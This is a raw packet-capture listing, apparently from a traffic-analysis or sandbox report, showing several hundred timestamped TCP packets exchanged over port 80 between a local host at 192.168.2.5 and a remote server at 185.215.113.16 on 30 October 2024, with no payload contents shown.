Oct 30, 2024 21:55:27.820436954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820493937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820664883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820683956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820693970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820729017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820729017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820894957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820904016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820914030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820947886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.822457075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822468042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822477102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822526932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.822526932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.822818041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822870970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822881937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822938919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822942019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.822949886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822962046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822972059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822983027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.822990894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.822993994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823014975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823014975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823580027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823672056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823683023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823688030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823694944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823707104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823718071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823784113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823796988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823818922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823828936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823847055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823856115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823859930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823868036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823878050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823888063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823893070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823899031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823899031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823909044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823920965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823930025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823932886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823932886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.823942900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.823949099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824023008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824117899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824136019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824147940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824157000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824168921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824176073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824177027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824196100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824204922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824215889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824218035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824218035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824227095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824270010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824270010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824506998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824518919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824544907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824557066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824567080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824579000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824594975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824600935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824600935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824604988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824619055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824630022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824635983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824668884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824668884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824754953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824767113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824775934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824785948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824795961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824812889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824812889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824815989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824830055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824839115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824855089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824872971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824875116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824875116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824884892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824893951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824903965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824917078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824928045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.824939966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824939966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.824963093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825048923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825064898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825074911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825083971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825103045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825109959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825109959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825115919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825128078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825139999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825160027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825169086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825175047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825175047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825180054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825191021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825201035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825202942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825212955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825222015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825222969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825232983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825246096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825264931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825742006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825809956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825819969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.825823069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.825862885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.854969025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.854981899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.854994059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855026007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855035067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855043888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855129004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855139971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855139971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855150938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855161905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855165958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855171919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855190039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855231047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855246067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855257034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855268955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855285883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855295897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855305910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855310917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855325937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855330944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855334997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855348110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855359077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855362892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855371952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855389118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855396032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855396032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855401993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855411053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855423927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855429888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855438948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855444908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855451107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855463982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855464935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855464935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855475903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855505943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855505943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855645895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855772972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855787039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855798006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855845928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855845928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855916023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855926037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855936050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855947018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855957031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855966091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855976105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.855983019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.855983019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.856034040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.867340088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.867683887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.897418022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.897473097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.897568941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.897674084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.897686005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.897696972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.897732973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.897844076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.937939882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.937959909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.937971115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938019037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938028097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938046932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938059092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938070059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938081980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938091993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938119888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938119888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938148975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938260078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938280106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938290119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938308001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938342094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938355923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938368082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938379049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.938407898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.938983917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.939058065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.939068079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.939074993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.939080000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.939094067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.939109087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.939146996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940527916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940538883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940551043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940578938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940606117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940617085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940625906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940654993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940686941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940742970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940752983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940774918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940787077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940797091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940808058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940812111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940840960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940860033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940865993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940897942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940908909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940938950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.940984964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.940996885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941008091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941050053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941050053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941584110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941605091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941620111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941670895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941745996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941756964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941768885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941778898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941792965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941802979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941817045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941819906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941819906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941828966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941843033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941845894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941845894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941854954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941876888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941879034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941895008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941906929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941919088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941931009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.941936016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.941963911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942008018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942423105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942524910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942537069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942547083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942558050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942569017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942574978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942580938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942593098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942610025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942626953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942636967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942640066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942651033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942662001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942675114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942689896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942701101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942708969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942708969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942728043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942750931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942763090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942775965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942786932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942797899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942812920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942812920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942816973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942830086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942835093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942843914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942856073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942866087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942872047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942882061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942893028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942909956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942917109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942917109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942929029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942941904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942951918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942964077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942965984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.942982912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.942996025 CET	80	49712	185.215.113.16	192.168.2.5
